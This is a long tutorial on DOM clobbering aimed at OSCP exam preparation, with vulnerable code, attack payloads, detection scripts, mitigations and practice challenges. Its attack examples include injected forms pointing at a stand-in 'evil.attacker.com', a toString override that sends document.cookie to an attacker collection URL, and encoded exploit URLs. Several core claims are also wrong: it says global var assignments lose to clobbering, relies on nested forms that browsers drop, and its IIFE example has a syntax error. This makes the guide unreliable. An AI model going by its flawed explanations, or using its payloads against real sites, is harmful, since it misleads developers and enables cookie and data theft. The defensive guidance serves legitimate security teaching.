DOM Clobbering
Table of Contents
- Fundamentals
- How DOM Clobbering Works
- DOM Clobbering Techniques
- DOM Clobbering to XSS Chains
- Working Examples
- Detection Methodology
- Mitigation Strategies
- OSCP Exam Tips
- Practice Scenarios
- Reference Cheat Sheet
1. Fundamentals
1.1 What Is DOM Clobbering?
DOM Clobbering is a client-side attack technique that exploits the browser’s behavior of exposing HTML elements with id or name attributes as global JavaScript variables on the window object. By injecting or controlling HTML elements with specific id or name values, an attacker can overwrite (clobber) existing global variables, functions, or objects that application JavaScript code depends on.
Key Insight: DOM Clobbering is NOT XSS itself. It is a prerequisite / enabling technique that pollutes the global scope, which can then lead to XSS, functionality breakage, logic manipulation, or information disclosure.
1.2 Why Does It Work?
The root cause lies in the HTML5 specification and browser implementation:
- Historical Legacy: In early browsers (Netscape, IE), there was no clear separation between HTML and JavaScript. The
windowobject served as both the global execution context and the DOM root. - Specification Behavior: Per the HTML Living Standard, elements with
idornameattributes create named properties on theWindowobject (and ondocument). - No Protection: The browser does not check whether a global variable already exists before creating the clobbering property.
- Property Precedence: DOM-created properties can shadow (override) JavaScript-defined variables declared with
varat the global scope.
1.3 How HTML id/name Attributes Create Global Variables
When the browser parses HTML, it automatically creates global references:
<!-- This HTML element... -->
<div id="myElement">Hello</div>
<!-- ...creates this global variable automatically: -->
<!-- window.myElement === <div id="myElement">Hello</div> -->
<!-- document.myElement === <div id="myElement">Hello</div> -->
The same applies to name attributes:
<!-- This HTML element... -->
<a name="myLink">Link</a>
<!-- ...creates this global variable: -->
<!-- window.myLink === <a name="myLink">Link</a> -->
1.4 Browser Behavior: DOM as Window Properties
The browser exposes DOM elements through multiple access paths:
| Access Method | Example | Returns |
|---|---|---|
window[id] |
window.myElement |
Element with id="myElement" |
window[name] |
window.myLink |
Element(s) with name="myLink" |
document[id] |
document.myElement |
Element with id="myElement" |
document.getElementsByName() |
document.getElementsByName('myLink') |
NodeList of matching elements |
document.getElementById() |
document.getElementById('myElement') |
Single element (not clobberable) |
Critical:
document.getElementById()is NOT affected by DOM clobbering. Only the implicit global property access (window.xordocument.x) is vulnerable.
1.5 Difference from XSS
| Aspect | DOM Clobbering | XSS |
|---|---|---|
| Nature | Global scope pollution | Code execution |
| Injection Point | id/name attributes |
Script content, event handlers, URLs |
| Direct Impact | Variable/function overwrite | Arbitrary JS execution |
| Relationship | Can enable XSS | Standalone vulnerability |
| Detection | Check for unsanitized id/name |
Check for unsanitized script injection |
| Severity Alone | Medium (logic breakage) | High (code execution) |
| Combined | Critical when chained to XSS | N/A |
2. How DOM Clobbering Works
2.1 Normal Behavior vs. Clobbered Behavior
Normal (Safe) Behavior
<!DOCTYPE html>
<html>
<head>
<title>Normal Behavior</title>
</head>
<body>
<script>
// Developer defines a configuration object
var config = {
apiUrl: "https://api.legitimate.com/data",
debug: false,
version: "1.0"
};
// Application uses the config
console.log(config.apiUrl);
// Output: "https://api.legitimate.com/data"
</script>
</body>
</html>
Clobbered (Attacked) Behavior
<!DOCTYPE html>
<html>
<head>
<title>Clobbered Behavior</title>
</head>
<body>
<!-- Attacker injects an element with id="config" -->
<form id="config">
<input name="apiUrl" value="https://evil.attacker.com/steal" />
<input name="debug" value="true" />
</form>
<script>
// Developer defines a configuration object
var config = {
apiUrl: "https://api.legitimate.com/data",
debug: false,
version: "1.0"
};
// Application uses the config
console.log(config.apiUrl);
// Output: <input name="apiUrl" ...> (THE ELEMENT, NOT THE STRING!)
// The config object has been CLOBBERED by the form element!
</script>
</body>
</html>
2.2 Step-by-Step Demonstration
Let’s trace through what happens in the browser:
Step 1: Browser parses HTML
└── Finds <form id="config">
└── Creates window.config = <form id="config">...</form>
Step 2: Browser encounters <script>
└── Executes: var config = { apiUrl: "...", ... }
└── BUT: window.config is already set by the DOM element
└── The `var` declaration is ignored (already exists)
└── window.config still points to the <form> element!
Step 3: Application accesses config.apiUrl
└── Resolves to: <form>.apiUrl
└── Browser looks for element with name="apiUrl" inside the form
└── Returns: <input name="apiUrl" value="https://evil.attacker.com/steal">
└── NOT the string "https://api.legitimate.com/data"!
2.3 Visual Explanation of Global Scope Pollution
┌─────────────────────────────────────────────────┐
│ Window Object │
│ │
│ Before Clobbering: │
│ ┌──────────────────────────────────┐ │
│ │ config ──► { │ │
│ │ apiUrl: "legit.com",│ │
│ │ debug: false │ │
│ │ } │ │
│ └──────────────────────────────────┘ │
│ │
│ After Clobbering: │
│ ┌──────────────────────────────────┐ │
│ │ config ──► <form id="config"> │ │
│ │ ├── apiUrl ──► │ │
│ │ │ <input name │ │
│ │ │ ="apiUrl" │ │
│ │ │ value="evil"> │ │
│ │ │ │ │
│ │ └── debug ──► │ │
│ │ <input name │ │
│ │ ="debug" │ │
│ │ value="true"> │ │
│ │ </form> │ │
│ └──────────────────────────────────┘ │
│ │
│ Result: config.apiUrl now resolves to │
│ an <input> element instead of a string! │
└─────────────────────────────────────────────────┘
2.4 The Clobbering Precedence Chain
Priority (highest to lowest):
1. DOM element with id="X" → window.X = <element>
2. DOM element with name="X" → window.X = <element(s)>
3. var X = ... → window.X = value (ONLY if 1 & 2 absent)
4. let X = ... → Does NOT create window.X (block-scoped)
5. const X = ... → Does NOT create window.X (block-scoped)
Key Rule:
varat global scope creates awindowproperty, but DOM-created properties take precedence.letandconstdo NOT createwindowproperties and are therefore immune to DOM clobbering.
3. DOM Clobbering Techniques
3.1 ID Attribute Clobbering
Technical Explanation
The id attribute on any HTML element creates a direct global variable reference. This is the most straightforward form of DOM clobbering.
Vulnerable Code
// application.js
var username = "admin";
function greet() {
document.getElementById("greeting").textContent =
"Welcome, " + username;
}
Attack Vector
<!-- Attacker injects via controllable HTML -->
<div id="username">HACKED</div>
<!-- Now: window.username === <div id="username">HACKED</div> -->
<!-- greet() will display: "Welcome, [object HTMLDivElement]" -->
Detection Methodology
- Search the application’s JavaScript for global
vardeclarations - Identify which variables are accessed without
this.or module scoping - Test if injecting
<element id="variable_name">changes behavior - Use browser console:
console.log(window.variable_name)before and after injection
Mitigation
// BAD - vulnerable to clobbering
var username = "admin";
// GOOD - immune to clobbering
let username = "admin";
const USERNAME = "admin";
// GOOD - wrapped in IIFE
(function() {
var username = "admin";
// username is local, not global
})();
// GOOD - ES Module (automatic module scope)
// module.js
export const username = "admin";
3.2 Name Attribute Clobbering
Technical Explanation
The name attribute on certain HTML elements (forms, inputs, anchors, images, frames, applets) also creates global variables. When multiple elements share the same name, a NodeList (array-like collection) is created.
Vulnerable Code
// application.js
var user = {
role: "guest",
permissions: []
};
function checkAccess() {
if (user.role === "admin") {
grantAdminAccess();
}
}
Attack Vector
<!-- Clobber 'user' with a form element -->
<form name="user">
<input name="role" value="admin" />
</form>
<!-- Now: window.user === <form name="user"> -->
<!-- window.user.role === <input name="role" value="admin"> -->
<!-- The element's .value property can be accessed -->
Detection Methodology
- Look for
<form>,<a>,<img>,<iframe>,<input>elements with controllablenameattributes - Check if application JS references global variables with matching names
- Test in console:
console.log(window.targetVar)
Mitigation
// Use let/const instead of var
let user = { role: "guest", permissions: [] };
// Or wrap in module/IIFE
const userModule = (function() {
var user = { role: "guest", permissions: [] };
return {
checkAccess: function() {
if (user.role === "admin") grantAdminAccess();
}
};
})();
3.3 Nested Naming Clobbering
Technical Explanation
When a form or other container element is clobbered, its child elements with name attributes become properties of that container. This allows creating complex nested object structures that mimic legitimate configuration objects.
Vulnerable Code
// application.js
var appConfig = {
api: {
baseUrl: "https://api.legit.com",
endpoints: {
users: "/api/users",
data: "/api/data"
}
},
features: {
darkMode: false,
betaFeatures: false
}
};
function fetchData() {
fetch(appConfig.api.baseUrl + appConfig.api.endpoints.data)
.then(response => response.json());
}
Attack Vector
<!-- Create nested structure using form + nested form/fieldset -->
<form id="appConfig">
<input type="hidden" name="api" />
<form name="api">
<input name="baseUrl" value="https://evil.attacker.com" />
<input type="hidden" name="endpoints" />
<form name="endpoints">
<input name="data" value="/steal?cookie=" />
</form>
</form>
<form name="features">
<input name="betaFeatures" value="true" />
</form>
</form>
<!-- Resulting structure: -->
<!-- window.appConfig.api.baseUrl === <input value="https://evil.attacker.com"> -->
<!-- window.appConfig.api.endpoints.data === <input value="/steal?cookie="> -->
<!-- window.appConfig.features.betaFeatures === <input value="true"> -->
Detection Methodology
- Map out the application’s configuration object structure
- Identify all nested properties accessed by the application
- Build a mirror structure using nested forms and named inputs
- Verify each level resolves correctly in the console
Mitigation
// Use const with object.freeze for immutable config
const appConfig = Object.freeze({
api: Object.freeze({
baseUrl: "https://api.legit.com",
endpoints: Object.freeze({
users: "/api/users",
data: "/api/data"
})
}),
features: Object.freeze({
darkMode: false,
betaFeatures: false
})
});
3.4 Form-Based Clobbering
Technical Explanation
HTML <form> elements are particularly powerful for DOM clobbering because:
- They create global variables via
idorname - Their child elements with
nameattributes become accessible as properties - They support multiple child elements, enabling complex object mimicry
Vulnerable Code
// application.js
var settings = {
theme: "light",
language: "en",
notifications: true
};
function applySettings() {
document.body.className = settings.theme;
localStorage.setItem("lang", settings.language);
}
Attack Vector
<form id="settings">
<input name="theme" value="dark" />
<input name="language" value="zh" />
<input name="notifications" value="false" />
</form>
<!-- window.settings.theme === <input name="theme" value="dark"> -->
<!-- When coerced to string: "[object HTMLInputElement]" -->
<!-- Or if .value is accessed: "dark" -->
Detection Methodology
- Search for
vardeclarations that match form-friendly names - Check if the application accesses properties of these variables
- Test form-based clobbering with matching structure
Mitigation
Same as above: use let/const, IIFE wrapping, or ES modules.
3.5 Array Clobbering via NodeList
Technical Explanation
When multiple elements share the same name attribute, the browser creates a NodeList (array-like object) instead of a single element. This can clobber variables that the application expects to be arrays.
Vulnerable Code
// application.js
var allowedDomains = ["https://legit.com", "https://trusted.com"];
function isAllowed(url) {
return allowedDomains.indexOf(url) !== -1;
}
Attack Vector
<!-- Create a NodeList that clobbers allowedDomains -->
<a name="allowedDomains">https://evil.com</a>
<a name="allowedDomains">https://malware.com</a>
<a name="allowedDomains">https://phishing.com</a>
<!-- window.allowedDomains === NodeList[<a>, <a>, <a>] -->
<!-- NodeList has .indexOf() in some browsers, or can be iterated -->
Detection Methodology
- Identify variables expected to be arrays
- Create multiple elements with the same
nameattribute - Verify the NodeList is created and accessible
Mitigation
// Use const with array
const allowedDomains = ["https://legit.com", "https://trusted.com"];
// Or wrap in module
const domainModule = (function() {
var allowedDomains = ["https://legit.com", "https://trusted.com"];
return {
isAllowed: function(url) {
return allowedDomains.indexOf(url) !== -1;
}
};
})();
4. DOM Clobbering to XSS Chains
4.1 Overview
DOM Clobbering becomes critically dangerous when chained with XSS. The clobbering pollutes global variables, and if the application then uses those variables in a dangerous sink (like eval(), document.write(), or dynamic script loading), arbitrary code execution results.
4.2 Clobbering eval() Arguments
Vulnerable Code
// application.js
var userInput = "default_value";
function processInput() {
// DANGEROUS: eval with user-controlled input
eval("var result = " + userInput + ";");
return result;
}
Attack Vector
<!-- Clobber userInput to contain malicious JavaScript -->
<div id="userInput">alert(document.cookie)</div>
<!-- When processInput() runs: -->
<!-- eval("var result = [object HTMLDivElement];") -->
<!-- This may not directly execute, but if the element's toString() -->
<!-- or other property is used... -->
<!-- More effective: use a form with value property -->
<form id="userInput">
<input name="toString" value="alert(document.cookie)" />
</form>
Enhanced Attack with Property Clobbering
<form id="userInput">
<!-- Clobber the toString method -->
<input name="toString" />
<script>
// If we can also inject script, combine with clobbering
document.userInput.toString = function() {
return "alert(document.cookie)";
};
</script>
</form>
4.3 Clobbering document.write() Arguments
Vulnerable Code
// application.js
var pageContent = "Welcome to our site";
function renderPage() {
document.write(pageContent);
}
Attack Vector
<!-- Clobber pageContent with HTML containing script -->
<div id="pageContent"><script>alert('XSS')</script></div>
<!-- When renderPage() runs: -->
<!-- document.write(<div id="pageContent">...</div>) -->
<!-- The div's outerHTML or textContent may be written -->
<!-- If the div contains <script>, it executes! -->
More Reliable Approach
<form id="pageContent">
<input name="textContent" value="<script>alert('XSS')</script>" />
</form>
<!-- Or directly: -->
<a id="pageContent"><script>alert('XSS')</script></a>
4.4 Clobbering Import/Require Paths
Vulnerable Code
// application.js
var modulePath = "/js/modules/analytics.js";
function loadModule() {
var script = document.createElement("script");
script.src = modulePath;
document.head.appendChild(script);
}
Attack Vector
<!-- Clobber modulePath to load malicious script -->
<div id="modulePath">https://evil.attacker.com/malicious.js</div>
<!-- When loadModule() runs: -->
<!-- script.src = <div id="modulePath">...</div> -->
<!-- The div gets coerced to string: "[object HTMLDivElement]" -->
<!-- This breaks, but... -->
<!-- Better: use an element with a meaningful toString -->
<form id="modulePath">
<input name="toString" />
</form>
<script>
// If we control any script execution, override toString
document.modulePath.toString = function() {
return "https://evil.attacker.com/malicious.js";
};
</script>
4.5 Clobbering Configuration Objects for XSS
Vulnerable Code
// application.js
var config = {
template: "<h1>{title}</h1><p>{description}</p>",
title: "Welcome",
description: "Our awesome site"
};
function renderTemplate() {
var html = config.template
.replace("{title}", config.title)
.replace("{description}", config.description);
document.getElementById("content").innerHTML = html;
}
Attack Vector
<!-- Clobber config to inject XSS via template -->
<form id="config">
<input name="template" value="<script>alert('XSS')</script>" />
<input name="title" value="Hacked" />
<input name="description" value="Site compromised" />
</form>
<!-- When renderTemplate() runs: -->
<!-- config.template === <input name="template" value="<script>..."> -->
<!-- .replace() on an element may coerce to string -->
<!-- If innerHTML receives the script tag, XSS executes! -->
5. Working Examples
5.1 Configuration Object Clobbering
Scenario
A single-page application loads its configuration from a global config object.
Vulnerable Application
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable App</title>
</head>
<body>
<div id="app"></div>
<script>
// Configuration loaded from server (but also accessible globally)
var config = {
appName: "MyApp",
apiEndpoint: "https://api.myapp.com/v1",
environment: "production",
debug: false,
features: {
chat: true,
notifications: true
}
};
// Application initialization
function initApp() {
document.getElementById("app").textContent =
"Welcome to " + config.appName;
// Fetch data from API
fetch(config.apiEndpoint + "/data")
.then(r => r.json())
.then(data => processData(data));
}
function processData(data) {
if (config.debug) {
console.log("DEBUG: Processing data:", data);
}
// ... process data ...
}
initApp();
</script>
</body>
</html>
Attack: Clobber Config to Redirect API
<!-- Injected HTML (via reflected parameter, CMS, etc.) -->
<form id="config">
<input name="appName" value="Hacked App" />
<input name="apiEndpoint" value="https://evil.attacker.com/api" />
<input name="environment" value="hacked" />
<input name="debug" value="true" />
</form>
<!-- Result: -->
<!-- config.apiEndpoint now points to attacker's server -->
<!-- All API requests go to the attacker -->
<!-- Debug mode is enabled, leaking sensitive data -->
Verification in Console
// Before attack:
console.log(config.apiEndpoint);
// "https://api.myapp.com/v1"
// After attack:
console.log(config.apiEndpoint);
// <input name="apiEndpoint" value="https://evil.attacker.com/api">
// When used in string context:
console.log(config.apiEndpoint + "/data");
// "[object HTMLInputElement]/data" (broken, but reveals the clobbering)
// If the app accesses .value:
console.log(config.apiEndpoint.value);
// "https://evil.attacker.com/api"
5.2 API URL Redirection
Scenario
An application uses a global variable to store the API base URL.
Vulnerable Application
// api.js
var API_BASE = "https://api.legitimate.com";
function getUserData(userId) {
return fetch(API_BASE + "/users/" + userId)
.then(response => response.json());
}
function submitFormData(data) {
return fetch(API_BASE + "/submit", {
method: "POST",
body: JSON.stringify(data)
});
}
Attack: Redirect API to Attacker Server
<!-- Clobber API_BASE -->
<div id="API_BASE">https://evil.attacker.com</div>
<!-- Now all API calls go to the attacker's server -->
<!-- getUserData() fetches from: https://evil.attacker.com/users/... -->
<!-- submitFormData() sends data to: https://evil.attacker.com/submit -->
Advanced: Data Exfiltration via Clobbered Callback
// If the app has a callback URL config:
var callbackUrl = "https://legitimate.com/callback";
function afterAction() {
window.location.href = callbackUrl + "?status=success";
}
<!-- Clobber callbackUrl to exfiltrate data -->
<div id="callbackUrl">https://evil.attacker.com/collect?data=</div>
<!-- Combine with other clobbers for full data theft -->
<form id="callbackUrl">
<input name="toString" />
</form>
<script>
// If any script injection is possible alongside clobbering:
document.callbackUrl.toString = function() {
return "https://evil.attacker.com/collect?cookie=" +
encodeURIComponent(document.cookie);
};
</script>
5.3 Debug Mode Activation
Scenario
An application has a debug flag that, when enabled, logs sensitive information.
Vulnerable Application
// app.js
var DEBUG = false;
var SENSITIVE_KEY = "sk_live_abc123secret";
function processPayment(amount) {
if (DEBUG) {
console.log("[DEBUG] Payment processing:");
console.log(" Amount:", amount);
console.log(" API Key:", SENSITIVE_KEY);
console.log(" User Session:", getSessionData());
}
// ... process payment ...
}
Attack: Enable Debug Mode
<!-- Simple clobber to enable debug -->
<div id="DEBUG">true</div>
<!-- Now DEBUG === <div id="DEBUG">true</div> -->
<!-- In boolean context: truthy! -->
<!-- All debug logs are now visible in console -->
<!-- Including API keys and session data -->
Verification
// In browser console:
console.log(DEBUG);
// <div id="DEBUG">true</div>
if (DEBUG) {
console.log("Debug is enabled!");
}
// Output: "Debug is enabled!"
// Sensitive data now leaked:
// [DEBUG] Payment processing:
// Amount: 99.99
// API Key: sk_live_abc123secret
// User Session: { userId: 12345, token: "eyJ..." }
5.4 Window.location Clobbering
Scenario
An application uses window.location for navigation.
Vulnerable Application
// navigation.js
function navigateTo(page) {
window.location = "/pages/" + page;
}
function redirectToHome() {
window.location.href = "/home";
}
Attack: Clobber Location Object
<!-- Attempt to clobber location -->
<form id="location">
<input name="href" value="https://evil.attacker.com/phishing" />
<input name="assign" />
<input name="replace" />
</form>
<!-- Note: window.location is a special object (Location interface) -->
<!-- It CANNOT be fully clobbered in modern browsers -->
<!-- But in older browsers or specific contexts, partial clobbering may work -->
Important Limitation
Note: Modern browsers protect
window.locationand several other built-in objects from DOM clobbering. Thelocationproperty is defined as a non-configurable, non-writable property on theWindowprototype. However, this protection is not universal across all properties and all browser versions.
What CAN Be Clobbered
<!-- These are typically clobberable: -->
<div id="location">...</div> // May work in some contexts
<div id="document">...</div> // Usually protected
<div id="window">...</div> // Usually protected
<div id="navigator">...</div> // Usually protected
<div id="screen">...</div> // Usually protected
<!-- But custom properties are fair game: -->
<div id="myLocation">...</div> // Clobberable
<div id="appState">...</div> // Clobberable
<div id="router">...</div> // Clobberable
5.5 Full Attack Chain: Clobbering to Stored XSS
Scenario
A blog application allows users to set a custom URL parameter that gets reflected in the page. The application also has a global config object used for rendering.
Vulnerable Application
<!-- index.php -->
<!DOCTYPE html>
<html>
<head>
<title>Blog</title>
</head>
<body>
<!-- User-controlled parameter reflected in page -->
<div id="user-input"><?php echo $_GET['ref']; ?></div>
<script>
var config = {
template: "<div class='post'><h2>{title}</h2><p>{body}</p></div>",
sanitize: false
};
function renderPost(post) {
var html = config.template
.replace("{title}", post.title)
.replace("{body}", post.body);
if (!config.sanitize) {
document.getElementById("content").innerHTML = html;
}
}
// Load and render posts
fetch("/api/posts")
.then(r => r.json())
.then(posts => {
posts.forEach(renderPost);
});
</script>
</body>
</html>
Attack: DOM Clobbering to XSS
URL: https://vulnerable-blog.com/index.php?ref=<form id="config"><input name="template" value="<script>alert(document.cookie)</script>"><input name="sanitize" value="false"></form>
Step 1: Browser parses the page
└── Creates: <div id="user-input"><form id="config">...</form></div>
└── Wait! Two elements with id="config"? The form wins (or last one parsed)
Step 2: Actually, let's use a cleaner approach:
URL: https://vulnerable-blog.com/index.php?ref=<a id="config"><form name="template"><input value="<script>alert(1)</script>"></form><form name="sanitize"><input value="false"></form></a>
Step 3: Browser creates:
└── window.config = <a id="config">...</a>
└── window.config.template = <form name="template">...</form>
└── window.config.sanitize = <form name="sanitize">...</form>
Step 4: JavaScript executes:
└── var config = { template: "...", sanitize: false }
└── BUT window.config already exists from DOM!
└── The var declaration is effectively ignored
└── config now points to the <a> element
Step 5: renderPost() is called:
└── config.template resolves to <form name="template">
└── .replace() on a form element coerces to string
└── The form's innerHTML or textContent may contain the script tag
└── innerHTML = "<script>alert(document.cookie)</script>"
└── XSS EXECUTES!
Exploit URL
https://vulnerable-blog.com/index.php?ref=<form%20id="config"><input%20name="template"%20value="%3Cscript%3Ealert(document.cookie)%3C/script%3E"><input%20name="sanitize"%20value="false"></form>
6. Detection Methodology
6.1 Identifying Clobberable Variables
Step 1: Audit Global Variables
// Search the application's JavaScript for:
// 1. Global var declarations
var config = ...;
var settings = ...;
var API_URL = ...;
var DEBUG = ...;
// 2. Variables accessed without 'this.' or module prefix
function init() {
console.log(config.apiUrl); // <-- potential target
fetch(API_URL + "/data"); // <-- potential target
}
// 3. Configuration objects
var AppConfig = { ... };
var Router = { ... };
Step 2: Check for DOM-Accessible Patterns
// These patterns are vulnerable:
var x = ...; // Global var - VULNERABLE
window.x = ...; // Explicit window property - VULNERABLE
// These patterns are safe:
let x = ...; // Block-scoped - SAFE
const x = ...; // Block-scoped - SAFE
(function() { // IIFE - SAFE
var x = ...;
})();
6.2 Testing ID/Name Attribute Injection
Manual Testing Checklist
For each identified global variable:
1. Test ID clobbering:
- Inject: <div id="variable_name">test</div>
- Check: console.log(window.variable_name)
- Expected: Should return the DOM element if vulnerable
2. Test NAME clobbering:
- Inject: <a name="variable_name">test</a>
- Check: console.log(window.variable_name)
- Expected: Should return the DOM element if vulnerable
3. Test nested clobbering:
- Inject: <form id="variable_name"><input name="nested_prop" value="test"></form>
- Check: console.log(window.variable_name.nested_prop)
- Expected: Should return the input element if vulnerable
4. Test functional impact:
- Does the application behavior change?
- Does data get redirected?
- Does sensitive information leak?
Automated Detection Script
// dom-clobber-detector.js
(function() {
"use strict";
var knownGlobals = [
"config", "settings", "appConfig", "API_URL", "API_BASE",
"DEBUG", "debug", "version", "env", "environment",
"router", "state", "store", "data", "user", "auth"
];
var results = [];
knownGlobals.forEach(function(name) {
var original = window[name];
// Test ID clobbering
var testEl = document.createElement("div");
testEl.id = name;
testEl.textContent = "CLOBBER_TEST";
document.body.appendChild(testEl);
var clobbered = window[name] !== original;
var isElement = window[name] instanceof HTMLElement;
results.push({
variable: name,
originalType: typeof original,
clobbered: clobbered,
isElement: isElement,
currentValue: window[name]
});
// Clean up
document.body.removeChild(testEl);
});
console.group("DOM Clobbering Detection Results");
results.forEach(function(r) {
if (r.clobbered) {
console.warn("VULNERABLE: " + r.variable, r);
} else {
console.log("Safe: " + r.variable);
}
});
console.groupEnd();
})();
6.3 Browser DevTools Detection
1. Open DevTools Console
2. Type: window
3. Expand the Window object
4. Look for properties that are DOM elements
5. Cross-reference with application's JavaScript variables
Alternative:
1. Open DevTools Sources panel
2. Search for 'var ' declarations at global scope
3. For each, check if window[variableName] is a DOM element
6.4 Burp Suite / Proxy Detection
1. Intercept the page response
2. Search for JavaScript files
3. Extract global variable names using regex:
Pattern: ^\s*var\s+([a-zA-Z_][a-zA-Z0-9_]*)\s*=
4. For each variable, test injection:
- Modify reflected parameters to include: <div id="VARIABLE">
- Observe if behavior changes
7. Mitigation Strategies
7.1 Avoid Global Scope: Use let/const Instead of var
The Problem
// VULNERABLE
var config = { apiUrl: "https://api.com" };
// window.config can be clobbered by <div id="config">
The Solution
// SAFE - let and const do NOT create window properties
let config = { apiUrl: "https://api.com" };
const CONFIG = { apiUrl: "https://api.com" };
// Verify:
console.log(window.config); // undefined (for let)
console.log(window.CONFIG); // undefined (for const)
Why It Works
let and const create block-scoped bindings that do NOT become properties of the window object. DOM clobbering only affects window properties, so these declarations are immune.
7.2 ES Modules
The Problem
// script.js (loaded as regular script)
var config = { apiUrl: "https://api.com" };
// config is global, clobberable
The Solution
// config.js (ES Module)
export const config = {
apiUrl: "https://api.com"
};
// app.js (ES Module)
import { config } from './config.js';
// config is module-scoped, NOT global, NOT clobberable
<!-- Load as module -->
<script type="module" src="app.js"></script>
Why It Works
ES Modules have their own scope. Variables declared in a module are not added to the global window object. The import/export syntax provides explicit, controlled access.
7.3 Use Strict Mode
The Problem
// Without strict mode
function init() {
accidentalGlobal = "oops"; // Creates global variable!
}
The Solution
"use strict";
function init() {
accidentalGlobal = "oops"; // Throws ReferenceError!
}
// Or per-function:
function init() {
"use strict";
accidentalGlobal = "oops"; // Throws ReferenceError!
}
Why It Helps
Strict mode prevents accidental global variable creation. While it doesn’t directly prevent DOM clobbering, it reduces the attack surface by ensuring all variables are explicitly declared.
7.4 IIFE (Immediately Invoked Function Expression)
The Problem
// All variables are global
var config = { ... };
var router = { ... };
var state = { ... };
The Solution
// Wrap everything in an IIFE
(function(window, document, undefined) {
"use strict";
var config = { apiUrl: "https://api.com" };
var router = { routes: [] };
var state = { user: null };
function init() {
// config, router, state are local to this IIFE
console.log(config.apiUrl);
}
// Expose only what's needed
window MyApp = {
init: init
};
})(window, document);
Why It Works
Variables declared inside the IIFE with var are function-scoped, not global. They cannot be clobbered by DOM elements because they don’t exist on the window object.
7.5 Shadow DOM Isolation
The Problem
// Application uses global variables accessible from anywhere
var config = { ... };
The Solution
// Create a shadow root for isolation
var host = document.getElementById("app");
var shadow = host.attachShadow({ mode: "closed" });
// Render application inside shadow DOM
shadow.innerHTML = `
<div id="app-content"></div>
`;
// JavaScript runs in isolated context
var config = { apiUrl: "https://api.com" };
// This config is local to the shadow DOM script
Why It Works
Shadow DOM creates a scoped DOM tree that is isolated from the main document. Elements inside the shadow DOM cannot clobber global variables, and global variables are not directly accessible from within the shadow DOM.
7.6 Input Sanitization
The Problem
<!-- PHP reflects user input without sanitization -->
<div id="user-data"><?php echo $_GET['data']; ?></div>
The Solution
<!-- Sanitize all user input before reflection -->
<div id="user-data"><?php echo htmlspecialchars($_GET['data'], ENT_QUOTES, 'UTF-8'); ?></div>
<!-- Or better: don't reflect user input in id/name attributes -->
<div id="user-data"><?php echo htmlspecialchars($_GET['data'], ENT_QUOTES, 'UTF-8'); ?></div>
Sanitization Rules for ID/Name Attributes
1. Never reflect user input directly into id or name attributes
2. If reflection is necessary, use strict allowlisting:
- Only allow alphanumeric characters and underscores
- Pattern: /^[a-zA-Z_][a-zA-Z0-9_]*$/
3. Use htmlspecialchars() for any HTML attribute context
4. Consider using data-* attributes instead of id/name for custom data
Example: Safe Attribute Handling
// Instead of:
element.id = userInput; // DANGEROUS
// Use:
element.dataset.userId = userInput; // SAFE
// Access via: element.dataset.userId
7.7 Content Security Policy (CSP)
While CSP doesn’t directly prevent DOM clobbering, it mitigates the impact when clobbering leads to XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';
This prevents:
- Loading external malicious scripts (even if clobbering redirects script sources)
- Inline script execution (limits the impact of clobbered template injection)
- Form submission to attacker-controlled endpoints
7.8 Defense-in-Depth Summary
| Strategy | Protection Level | Implementation Effort |
|---|---|---|
let/const instead of var |
High | Low |
| ES Modules | High | Medium |
| IIFE wrapping | High | Low |
| Strict mode | Medium | Low |
| Shadow DOM | High | High |
| Input sanitization | High | Medium |
| CSP headers | Medium (mitigates impact) | Low |
| Avoid global state | High | Medium |
8. OSCP Exam Tips
8.1 What to Expect on the Exam
DOM Clobbering is not a commonly tested topic on the OSCP exam, but understanding it helps with:
- Client-side vulnerability identification during web application assessments
- Understanding XSS variants and their prerequisites
- Burp Suite active scanning interpretation (scanner may flag DOM clobbering)
- Write-up documentation for client-side findings
8.2 Key Takeaways for the Exam
PRIORITY KNOWLEDGE:
├── DOM Clobbering enables XSS but is NOT XSS itself
├── id and name attributes create global variables
├── var is vulnerable, let/const are not
├── Clobbering can redirect API calls, enable debug mode, leak data
└── Mitigation: avoid global scope, use modules, sanitize input
EXAM RELEVANCE:
├── Low direct relevance (rarely tested standalone)
├── Medium relevance as part of XSS chains
├── High relevance for understanding client-side attack surface
└── Useful for THM/HackTheBox web challenges
8.3 Quick Recognition Patterns
When you see these patterns in application code, think DOM Clobbering:
// RED FLAG 1: Global var with common name
var config = ...;
var settings = ...;
var API_URL = ...;
// RED FLAG 2: User input reflected in HTML
<div id="<?php echo $_GET['id']; ?>">
// RED FLAG 3: Dynamic property access on globals
window[variableName]
config[userInput]
// RED FLAG 4: Template rendering with global config
innerHTML = config.template.replace(...)
8.4 Lab Practice Recommendations
- PortSwigger Web Security Academy has excellent DOM Clobbering labs
- DOM Clobbering - PortSwigger: https://portswigger.net/web-security/dom-based
- Practice on HackTheBox machines with web components
- Set up local vulnerable applications (DVWA, bWAPP) and test manually
9. Practice Scenarios
9.1 Scenario 1: Simple Variable Clobbering
Challenge: The following application has a vulnerability. Find and exploit it.
<!DOCTYPE html>
<html>
<body>
<div id="output"></div>
<!-- User input reflected here -->
<div id="reflection"><?php echo $_GET['q']; ?></div>
<script>
var secret = "FLAG{dom_clobbering_101}";
function displaySecret() {
if (window.location.hash === "#reveal") {
document.getElementById("output").textContent = secret;
}
}
displaySecret();
</script>
</body>
</html>
Solution:
URL: ?q=<div id="secret">CLOBBERED</div>#reveal
Result:
- window.secret is clobbered by <div id="secret">CLOBBERED</div>
- displaySecret() outputs "CLOBBERED" instead of the flag
- This demonstrates the clobbering works
To actually read the flag, you need a different approach since
clobbering replaces the value. The flag is lost, not exposed.
This shows clobbering causes data loss/corruption, not necessarily disclosure.
9.2 Scenario 2: Configuration Hijacking
Challenge: Hijack the API endpoint to an attacker-controlled server.
<!DOCTYPE html>
<html>
<body>
<div id="reflection"><?php echo $_GET['ref']; ?></div>
<script>
var config = {
apiUrl: "https://api.legit.com",
apiKey: "sk_live_secret123"
};
function loadData() {
fetch(config.apiUrl + "/data?key=" + config.apiKey)
.then(r => r.json())
.then(data => console.log(data));
}
loadData();
</script>
</body>
</html>
Solution:
URL: ?ref=<form id="config"><input name="apiUrl" value="https://evil.attacker.com"><input name="apiKey" value="stolen_key"></form>
Result:
- config.apiUrl resolves to <input name="apiUrl" value="https://evil.attacker.com">
- When used in string concatenation, the element coerces to "[object HTMLInputElement]"
- The fetch URL becomes: "[object HTMLInputElement]/data?key=[object HTMLInputElement]"
- This breaks the request but demonstrates the clobbering
For actual redirection, the application would need to access .value:
fetch(config.apiUrl.value + "/data?key=" + config.apiKey.value)
